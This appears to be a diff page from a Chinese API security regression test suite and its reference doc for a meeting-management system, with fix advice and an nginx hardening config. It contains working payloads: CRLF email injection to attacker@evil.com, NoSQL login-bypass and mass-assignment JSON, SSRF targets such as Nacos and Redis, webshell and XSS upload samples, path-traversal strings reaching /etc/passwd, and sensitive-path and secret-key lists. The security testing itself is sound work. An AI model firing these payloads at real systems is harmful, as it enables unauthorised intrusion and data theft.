基于历史漏洞 HV-024(长安深蓝汽车 IAST 报告)映射
测试接口: POST /api/tableCard/syncTableCard
"""
test_id = "2.7.8"
name = "桌牌同步SSRF测试 (HV-024)"
log.info(f"[{test_id}] {name}")
if not user_token:
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_INFO,
description="user Token 获取失败,跳过测试",
is_vulnerable=False
)
# 桌牌同步接口 SSRF 载荷
target_path = "/api/tableCard/syncTableCard"
vulnerable_payloads = []
for payload_url in ssrf_payloads[:3]: # 仅测试前3个核心载荷
body = {
"url": payload_url,
"deviceCode": "SEC_TEST_DEVICE",
"syncType": "all"
}
resp = client.post(target_path, json_data=body, token=user_token)
if resp and resp.status_code == 200:
try:
data = resp.json()
# 检查是否返回了内网响应内容
resp_text = resp.text[:500]
ssrf_indicators = ['nacos', 'redis', 'mysql', 'connection', 'refused',
'timeout', '<html', '<!doctype', 'root:x:']
for indicator in ssrf_indicators:
if indicator.lower() in resp_text.lower():
vulnerable_payloads.append(payload_url)
break
# 检查业务拒绝
if data.get('success') is False:
continue
code = str(data.get('code', ''))
if code in ('B0027', 'B0017', 'B0002'):
continue
except (ValueError, AttributeError):
pass
request_info = _build_request_info(
"POST", target_path,
body='{"url": "SSRF载荷", "deviceCode": "SEC_TEST_DEVICE", "syncType": "all"}',
auth_desc="使用普通用户 Token"
)
if vulnerable_payloads:
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_HIGH,
description=f"桌牌同步接口存在 SSRF 漏洞,以下载荷成功获取到内网响应: "
f"{vulnerable_payloads}。来源: HV-024 长安深蓝汽车 IAST 报告",
request_info=request_info,
response_info=f"SSRF 成功的载荷: {vulnerable_payloads}",
is_vulnerable=True,
fix_suggestion="1. 对 url 参数进行严格白名单校验,仅允许合法的桌牌设备地址;"
"2. 禁止请求内网 IP 地址(10.x/172.16-31.x/192.168.x/127.x);"
"3. 配置出站网络策略限制服务器的出站连接范围"
)
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_INFO,
description="桌牌同步接口 SSRF 测试未发现漏洞,接口可能已限制出站请求",
request_info=request_info,
response_info="所有 SSRF 载荷均未返回内网响应特征",
is_vulnerable=False
)
# ================================================================
# 2.7.9: SMTP邮件注入测试 (HV-023)
# ================================================================
def _test_2_7_9(client, user_token):
"""
2.7.9: SMTP邮件注入测试
基于历史漏洞 HV-023(长安深蓝汽车 IAST 报告)映射
测试接口: POST /api/email/verify
"""
test_id = "2.7.9"
name = "SMTP邮件注入测试 (HV-023)"
log.info(f"[{test_id}] {name}")
if not user_token:
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_INFO,
description="user Token 获取失败,跳过测试",
is_vulnerable=False
)
target_path = "/api/email/verify"
# 邮件注入测试载荷
inject_payloads = [
{"email": "test@test.com%0ACc:attacker@evil.com"},
{"email": "test@test.com%0ABcc:attacker@evil.com"},
{"email": "test@test.com\r\nCc: attacker@evil.com"},
{"email": "test@test.com\nBcc: attacker@evil.com"},
]
vulnerable_payloads = []
for payload in inject_payloads:
resp = client.post(target_path, json_data=payload, token=user_token)
if resp and resp.status_code == 200:
try:
data = resp.json()
# 检查是否业务成功(即邮件被发送)
if data.get('success') is True:
code = str(data.get('code', ''))
if code not in ('B0027', 'B0017', 'B0002'):
vulnerable_payloads.append(payload['email'])
elif data.get('success') is False:
continue
else:
# 兼容其他响应格式
code = str(data.get('code', ''))
if code in ('0', '200', '1', '2000'):
vulnerable_payloads.append(payload['email'])
except (ValueError, AttributeError):
pass
request_info = _build_request_info(
"POST", target_path,
body='{"email": "包含CRLF注入的邮箱地址"}',
auth_desc="使用普通用户 Token"
)
if vulnerable_payloads:
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_HIGH,
description=f"邮件验证接口存在 SMTP 注入漏洞,以下载荷可能成功注入: "
f"{vulnerable_payloads}。来源: HV-023 长安深蓝汽车 IAST 报告",
request_info=request_info,
response_info=f"可能注入成功的载荷: {vulnerable_payloads}",
is_vulnerable=True,
fix_suggestion="1. 对 email 参数进行严格格式校验,仅允许标准邮箱格式;"
"2. 过滤 CRLF 字符(\\r\\n);"
"3. 使用安全的邮件发送库,避免直接拼接邮件头"
)
return VulnResult(
test_id=test_id, name=name, level=VulnResult.LEVEL_INFO,
description="邮件验证接口 SMTP 注入测试未发现漏洞",
request_info=request_info,
response_info="所有 CRLF 注入载荷均未成功",
is_vulnerable=False
)
......@@ -1249,6 +1249,66 @@ def _test_2_8_11(client):
status_code = resp.status_code if resp else 0
if status_code == 200:
# 增加响应体验证:检查是否为权限拒绝或业务错误
is_auth_denied = False
response_body_preview = ""
try:
data = resp.json()
response_body_preview = resp.text[:300]
# 1. 检查 success 字段(兼容 success: false 和 success: 0)
if 'success' in data and not data['success']:
is_auth_denied = True
# 2. 检查业务错误码
code = data.get('code', data.get('status', data.get('errcode')))
if code is not None:
auth_denied_codes = (
'401', '403', '40301', '40101',
'B0027', 'B0017', 'B0002',
)
if str(code) in auth_denied_codes:
is_auth_denied = True
# 3. 检查 message 中的权限拒绝关键词
message = str(data.get('message', data.get('msg', '')))
if message:
deny_keywords = [
'权限不足', '不允许访问', '拒绝访问',
'未授权', '请登录', '重新登录', '已退出',
'AccessDenied', '用户不存在',
]
if any(kw in message for kw in deny_keywords):
is_auth_denied = True
except (ValueError, AttributeError):
# 非 JSON 响应(如 HTML/Nacos 控制台),这类可能是真正的配置错误
response_body_preview = resp.text[:300] if resp else ""
# Nacos 控制台、Swagger 等特殊端点即使返回 HTML 也视为漏洞
if any(special in path for special in ['/nacos/', '/swagger', '/actuator/']):
is_auth_denied = False # 特殊端点不检查权限拒绝
else:
# 其他端点检查是否包含"登录页面"等关键词
login_keywords = ['login', '登录', '请登录', 'signin']
if any(kw in response_body_preview.lower() for kw in login_keywords):
is_auth_denied = True
if is_auth_denied:
# 权限拒绝或业务错误,不是漏洞
log.debug(f" {path} 返回 200 但业务拒绝 — {desc}")
results.append(VulnResult(
test_id="2.8.11",
name=f"Nginx外露端点已受限: {path}",
level=VulnResult.LEVEL_INFO,
description=f"基于Nginx配置分析,{path}({desc})虽然返回HTTP 200,但业务层已拒绝访问。",
request_info=f"GET {path}(无认证)",
response_info=f"HTTP {status_code} — 响应体已校验为权限拒绝",
is_vulnerable=False,
metadata={"is_regression": True, "vuln_source": "Nginx配置分析"},
))
continue
# 通过所有检查,确认存在漏洞
level = VulnResult.LEVEL_HIGH if severity == "high" else VulnResult.LEVEL_MEDIUM
results.append(VulnResult(
test_id="2.8.11",
......@@ -1256,7 +1316,7 @@ def _test_2_8_11(client):
level=level,
description=f"基于Nginx配置分析,{path}({desc})无需认证即可访问(HTTP 200),该端点不应在生产环境暴露。",
request_info=f"GET {path}(无认证)",
response_info=f"HTTP {status_code}",
response_info=f"HTTP {status_code} — 响应体预览: {response_body_preview}",
is_vulnerable=True,
fix_suggestion=f"在Nginx配置中限制 {path} 路径的访问,或设置IP白名单仅允许内网访问。",
metadata={"is_regression": True, "vuln_source": "Nginx配置分析"},
......
......@@ -1068,6 +1068,95 @@ def _test_2098_legacy_api_detection(client):
status_code = resp.status_code if resp else 0
if status_code == 200:
# 增加响应体验证:检查是否为权限拒绝或业务错误
is_auth_denied = False
response_body = ""
try:
data = resp.json()
response_body = resp.text[:500]
# 1. 检查 success 字段(兼容 success: false 和 success: 0)
if 'success' in data and not data['success']:
is_auth_denied = True
# 2. 检查业务错误码
code = data.get('code', data.get('status', data.get('errcode')))
if code is not None:
auth_denied_codes = (
'401', '403', '40301', '40101',
'B0027', 'B0017', 'B0002',
)
if str(code) in auth_denied_codes:
is_auth_denied = True
# 3. 检查 message/msg 中的拒绝关键词
message = str(data.get('message', data.get('msg', '')))
if message:
deny_keywords = [
'权限不足', '不允许访问', '拒绝访问',
'未授权', '请登录', '重新登录', '已退出',
'AccessDenied', '用户不存在',
]
if any(kw in message for kw in deny_keywords):
is_auth_denied = True
# 4. 检查接口方法不支持等非安全响应
code_val = str(data.get('code', data.get('status', '')))
msg_val = str(data.get('message', data.get('msg', '')))
not_supported_keywords = [
'not supported', '不支持', 'Method Not Allowed',
'method not supported',
]
if any(kw.lower() in msg_val.lower() for kw in not_supported_keywords):
is_auth_denied = True
if any(kw.lower() in code_val.lower() for kw in not_supported_keywords):
is_auth_denied = True
# 5. 检查运维集控特殊响应格式
if 'success' in data and data.get('success') == 0:
error_data = data.get('data', [])
if isinstance(error_data, list) and error_data:
error_msg = str(error_data[0].get('error', ''))
if '用户不存在' in error_msg or '重新登录' in error_msg:
is_auth_denied = True
except (ValueError, AttributeError):
# 非 JSON 响应(如 HTML 页面)
response_body = resp.text[:500] if resp else ""
# 检查是否为HTML登录页面或SPA前端兜底页面(不是漏洞)
body_lower = response_body.lower()
# 前端SPA入口页面特征:referrer=never/no-referrer + no-cache
spa_indicators = [
'content=never', 'content=no-referrer',
]
cache_indicators = [
'no-cache', 'must-revalidate',
]
has_spa_ref = any(ind in body_lower for ind in spa_indicators)
has_cache_meta = any(ind in body_lower for ind in cache_indicators)
if has_spa_ref and has_cache_meta:
is_auth_denied = True
# 也检查传统登录页面
login_indicators = ['login', '登录', 'signin', '请登录']
if any(ind in body_lower for ind in login_indicators):
is_auth_denied = True
if is_auth_denied:
# 权限拒绝或业务错误,不是漏洞
log.debug(f" {path} 返回 200 但业务拒绝 — {desc}")
results.append(VulnResult(
test_id="2.9.8",
name=f"历史漏洞路径已受限: {path}",
level=VulnResult.LEVEL_INFO,
description=f"基于历史漏洞回归测试,{path}({desc})虽然返回HTTP 200,但业务层已拒绝访问。来源: {source}",
request_info=f"GET {path}(无认证)",
response_info=f"HTTP {status_code} — 响应体已校验为权限拒绝",
is_vulnerable=False,
metadata={"is_regression": True, "vuln_source": source},
))
continue
# 通过所有检查,确认存在漏洞
level = VulnResult.LEVEL_HIGH if severity == "high" else VulnResult.LEVEL_MEDIUM
results.append(VulnResult(
test_id="2.9.8",
......@@ -1075,7 +1164,7 @@ def _test_2098_legacy_api_detection(client):
level=level,
description=f"基于历史漏洞回归测试,{path}({desc})仍可匿名访问(HTTP 200)。来源: {source}",
request_info=f"GET {path}(无认证)",
response_info=f"HTTP {status_code}",
response_info=f"HTTP {status_code} — 响应体: {_truncate_text(response_body, 300)}",
is_vulnerable=True,
fix_suggestion=f"下线或限制 {path} 路径的访问。",
metadata={"is_regression": True, "vuln_source": source},
......
......@@ -944,12 +944,342 @@ JWT密钥已从硬编码升级为拆分文件+PBKDF2加密模式,涉及以下
### 需安装的依赖
```bash
pip install requests colorama pyyaml
pip install requests colorama pyyaml pycryptodome
```
> 注:`pycryptodome`用于接口签名算法(SHA256 + AES-CBC),非强制依赖,缺少时签名测试跳过
### 接口签名机制
- 前端请求携带 `X-RANDOM``X-TIMESTAMP``X-SIGN` 三个自定义Header
- 签名算法:SHA256 + AES-CBC 加密(从前端JS逆向获得)
- 签名密钥:从前端静态资源中提取
- 安全风险:签名密钥硬编码在前端JS中,可被逆向获取
### 测试脚本输出路径
- 安全测试脚本:`AuxiliaryTool/ScriptTool/ApiSecurityTest/`
- 测试报告输出:`AuxiliaryTool/ScriptTool/ApiSecurityTest/reports/`
- 知识库数据:`AuxiliaryTool/ScriptTool/ApiSecurityTest/utils/knowledge_base.py`
## 测试载荷参考
> 以下载荷已在测试脚本中实现,此处作为参考文档和回归测试基线记录。
### NoSQL注入载荷(CVSS 9.4 紧急)
> 目标:`/platform/api/auth/login` 的 `username` 参数
```json
{"username": {"$ne": "1"}, "password": "anypassword", "code": "csba", "uuid": "<valid_uuid>"}
{"username": {"$gt": ""}, "password": "anypassword", "code": "csba", "uuid": "<valid_uuid>"}
{"username": {"$regex": ".*"}, "password": "anypassword", "code": "csba", "uuid": "<valid_uuid>"}
{"username": {"$nin": ["nonexistent"]}, "password": "anypassword", "code": "csba", "uuid": "<valid_uuid>"}
```
### API成批分配载荷(CVSS 7.3 高)
> 目标:`/meetingV3/api/manageUser/getManagerPageForBook`
```json
{"companyNumber": "CN-xxx", "pageSize": 10, "pageNum": 1, "is_admin": true, "is_sso": true, "role": "admin"}
```
**测试路径**
- `/meetingV3/api/manageUser/getManagerPageForBook`(主要)
- `/api/manageUser/getManagerPageForBook`(旧路径)
- `/api/manageUser/editInfo`(编辑接口)
### SSRF内网探测载荷
> 目标:文件上传URL参数、第三方同步接口、图片加载接口等
**内网目标地址**
| URL | 服务 | 说明 |
|-----|------|------|
| `http://127.0.0.1:8848/nacos/` | Nacos | 配置中心控制台 |
| `http://127.0.0.1:6379/` | Redis | 缓存数据库 |
| `http://127.0.0.1:3306/` | MySQL | 关系数据库 |
| `http://localhost:8848/nacos/` | Nacos | localhost变体 |
| `http://127.0.0.1:8080/` | 应用服务 | 后端服务 |
| `http://192.168.1.1/` | 内网网关 | 内部网络设备 |
| `http://10.0.0.1/` | 内网地址 | RFC1918内网 |
| `http://[::1]:8848/nacos/` | Nacos | IPv6本地回环 |
| `http://127.0.0.1:8848/nacos/v1/auth/login` | Nacos登录 | 获取Nacos凭证 |
**SSRF载体接口**
| 接口路径 | 参数 | 风险 |
|---------|------|------|
| `/api/file/uploadByUrl` | url参数 | 文件下载SSRF |
| `/api/file/download` | url参数 | 文件下载SSRF |
| `/system/uploadLincenceFile` | url参数 | 授权文件SSRF |
| `/api/third/sync/getDepartmentAndUser` | 回调URL | 第三方同步SSRF |
| `/monitor/api2/api/roomimage/upload` | url参数 | 会议室图片SSRF |
| `/monitor/api2/api/roomimage/getByUrl` | url参数 | 图片获取SSRF |
| `/api/huaweiTerminal/controlTerminal` | IP参数 | 终端控制SSRF |
| `/ubains/server/setParamsConfig` | URL参数 | 配置接口SSRF |
| `/meeting/WelinkFileUpload` | URL参数 | WeLink文件SSRF |
### 危险文件类型上传载荷
> 测试上传接口是否拒绝以下危险文件类型
| 文件名 | 内容 | MIME类型 | 风险 |
|--------|------|---------|------|
| `test.jsp` | `<%out.println("test");%>` | application/octet-stream | Java webshell |
| `test.php` | `<?php echo 'test';?>` | application/x-php | PHP webshell |
| `test.exe` | MZ头 + 100字节空数据 | application/x-msdownload | 可执行文件 |
| `test.sh` | `#!/bin/bash\necho test` | application/x-sh | Shell脚本 |
| `test.py` | `import os; os.system('id')` | text/x-python | Python脚本 |
| `test.html` | `<script>alert('xss')</script>` | text/html | XSS攻击 |
| `test.svg` | SVG+onload事件 | image/svg+xml | XSS攻击 |
**上传端点**`/api/file/upload``/api/upload``/api/system/upload``/api/common/upload`
### 敏感路径探测字典
**基础敏感路径(16条)**
```
/actuator, /actuator/env, /actuator/health, /actuator/info,
/actuator/metrics, /env, /swagger-ui.html, /v2/api-docs, /v3/api-docs,
/druid, /druid/index.html, /nacos, /nacos/, /heapdump, /threaddump, /gateway
```
**隐藏接口路径(56条)**
```
/admin, /admin/, /console, /console/, /api-docs, /api-docs/,
/swagger, /swagger-ui.html, /swagger-resources, /v2/api-docs, /v3/api-docs,
/internal, /internal/, /test, /test/, /backup, /backup/,
/config, /config/, /debug, /debug/,
/monitor/actuator, /monitor/actuator/,
/actuator, /actuator/health, /actuator/env, /actuator/info,
/actuator/beans, /actuator/mappings, /actuator/configprops,
/actuator/heapdump, /actuator/threaddump,
/druid, /druid/, /druid/index.html, /druid/login.html,
/health, /info, /env, /metrics, /trace, /mappings, /beans,
/server-status, /server-info, /phpmyadmin, /phpinfo.php,
/robots.txt, /sitemap.xml, /.env, /.git/config, /.svn/entries,
/web.config, /crossdomain.xml, /WEB-INF/web.xml, /META-INF/MANIFEST.MF
```
**旧版API路径(10条)**
```
/oldmeeting/api/auth/login
/oldmeeting/api/system/user/info
/oldmeeting/api/meeting/list
/oldmeeting/api/meeting/create
/oldmeeting/api/room/list
/oldmeeting/api/device/list
/oldmeeting/api/system/config
/oldmeeting/api/booking/list
/oldmeeting/api/statistics/overview
/oldmeeting/api/user/list
```
**内部API路径(6条)**
```
/exapi/system/inner/getUserInfo
/api/system/inner/getUserInfo
/api/system/inner/getVerifyCode
/api/system/inner/login
/exapi/system/inner/getVerifyCode
/exapi/system/inner/login
```
**NoLogin免认证接口(4条)**
```
/api/cdthApi/noLogin/getMeetingInfo
/api/cdthApi/noLogin/updateAttendWay
/api/cdthApi/noLogin/getMeetingList
/api/cdthApi/noLogin/getRoomStatus
```
### 路径穿越载荷(10条)
```
/api/../admin
/api/..%2fadmin
/api/system/../../internal
/api/system/..%2f..%2finternal
/api/./system/user/info
/api/system/%2e%2e/admin
/api/system/%2e%2e%2f/config
/api/meeting/..%2f..%2f..%2f/etc/passwd
/api/..;/admin
/api/..;/internal/config
```
### 第三方服务敏感字段检测(18个)
> 检测API响应中是否泄露以下字段名对应的值
```
api_key / apikey / api-key
api_secret / apisecret / api-secret
appkey / app_key
appsecret / app_secret
company_secret / companysecret
secret_key / secretkey / secret-key
private_key / privatekey
access_key / accesskey
secret_id / secretid
client_secret / clientsecret
app_id / appid
corp_id / corpid
corp_secret / corpsecret
```
**敏感值模式检测**
- 字符串≥16位且包含字母+数字混合(典型API密钥格式)
-`AK``SK``LTAI``AKIA` 开头的字符串(云厂商密钥前缀)
### HTTP动词篡变载荷(10条)
> 将POST方法改为GET方法访问,测试是否绕过权限校验
```
/api/meeting/createMeeting → GET
/api/meeting/updateMeeting → GET
/api/meeting/deleteMeeting → GET
/api/system/user/addUser → GET
/api/system/user/updateUser → GET
/api/system/user/deleteUser → GET
/api/room/addRoom → GET
/api/room/updateRoom → GET
/api/device/addDevice → GET
/api/device/updateDevice → GET
```
### 回调验证载荷
> 测试第三方回调接口是否验证请求来源
**企业微信回调**`/corp-wechat/syncConference`):
```json
{"msgtype": "event", "event_type": "calendar_event_change"}
```
**RCAJ回调**`/rcaj/syncConference`):
```json
{"action": "sync_conference", "conference_id": "FAKE_CONF_ID_12345"}
```
## 修复建议参考
> 基于历史漏洞修复文档整理,供测试报告中的修复建议参考。
### 按漏洞类型的通用修复建议
| 漏洞类型 | 修复方案 | 参考来源 |
|---------|---------|---------|
| SQL注入 | 使用参数化查询/预编译语句,禁止字符串拼接SQL | HV-001/HV-021(ConferenceController.java:694) |
| NoSQL注入 | 确保用户输入的类型正确并进行转义,拒绝对象类型参数 | HV-026(AppScan CVSS 9.4) |
| API成批分配 | 定义并实施数据模式,避免自动绑定客户端输入到内部对象 | HV-027(AppScan CVSS 7.3) |
| JWT弱密钥 | 密钥拆分为三段文件+PBKDF2加密,密钥≥32位含大小写+数字 | HV-016(JWT_FIX_REFERENCE) |
| 文件上传 | 白名单校验文件类型+文件内容检测+重命名存储+限制上传大小 | HV-018/HV-022/HV-032 |
| 目录穿越 | 过滤文件名中的`../``..%2f`等穿越字符,限制存储路径 | HV-025/HV-035 |
| SSRF | URL白名单过滤+禁止访问内网地址+禁止非HTTP协议 | HV-024 |
| Nacos未授权 | 开启鉴权、Nginx限制访问、修改默认密码(nacos/nacos) | HV-005/HV-011/HV-015 |
| Swagger暴露 | 所有路径统一配置swagger.enabled=false,Nginx拦截文档路径 | HV-006/HV-014 |
| config.json泄露 | Nginx拦截config.json访问,敏感配置后端管理、不暴露在前端 | HV-029/HV-033 |
| 安全响应头缺失 | Nginx配置7项安全头(X-Frame-Options/CSP/HSTS等) | HV-003 |
| 注销Token失效 | 服务端维护Token黑名单,注销时使Token立即失效 | HV-030 |
| SMTP注入 | 过滤邮件地址参数中的换行符(CRLF)和SMTP命令 | HV-023 |
| 密码存储 | 从SHA256无加盐升级为PBKDF2/scrypt/Argon2 | HV-008/HW-017 |
| 验证码安全 | 废弃固定验证码(csba),改为服务端随机生成+定期刷新 | HV-007 |
| 速率限制 | Nginx配置limit_req_zone,按IP/接口限制请求频率 | KN-10 |
### Nginx安全配置修复参考
```nginx
# 安全响应头
add_header X-Frame-Options "SAMEORIGIN" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;
# 拦截敏感路径
location /nacos/ { return 403; }
location /test/ { return 403; }
location /actuator { return 403; }
location /swagger-ui.html { return 403; }
location /v2/api-docs { return 403; }
location ~* /config\.json$ { return 403; }
location /media/ { autoindex off; }
# 速率限制
limit_req_zone $binary_remote_addr zone=api_limit:10m rate=30r/s;
limit_req zone=api_limit burst=50 nodelay;
# 上传限制
client_max_body_size 50m;
# TLS加固
ssl_protocols TLSv1.2 TLSv1.3;
```
## 安全测试报告模板
> 测试完成后,报告应按以下格式输出
### 报告结构
```
# {服务器IP} 安全测试报告 {日期}
## 1. 测试概要
- 测试时间
- 测试工具和版本
- 测试目标(URL、系统名称)
- 测试范围(OWASP API Top 10覆盖情况)
## 2. 漏洞统计
| 风险等级 | 数量 | 占比 |
|---------|------|------|
| 紧急 | X | X% |
| 高危 | X | X% |
| 中危 | X | X% |
| 低危 | X | X% |
| 信息类 | X | X% |
## 3. OWASP测试矩阵
(每个API1~API10的测试结果汇总表)
## 4. 漏洞详情
### 4.X 漏洞标题
- **风险等级**:高/中/低/信息
- **OWASP分类**:API1~API10
- **影响接口**:具体URL
- **漏洞描述**:详细说明
- **复现步骤**:
1. 请求方法+URL
2. 请求参数/载荷
3. 实际响应
4. 预期安全行为
- **修复建议**:具体修复方案
- **参考**:HV-XXX / HW-XXX
## 5. 历史漏洞回归结果
(35个HV逐项:已修复/未修复/部分修复)
## 6. 华为安全红线合规检查
(22项HW逐项:合规/不合规/需人工确认)
## 7. 已知问题状态跟踪
(14个KN逐项:已修复/未修复/无变化)
## 8. 与历史报告对比
- AppScan 2025-12-18(56项):已修复X项/未修复X项/新增X项
- IAST LJ-2026-06-02(84项):已修复X项/未修复X项/新增X项
```
## 执行要求
1. 测试环境确认
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论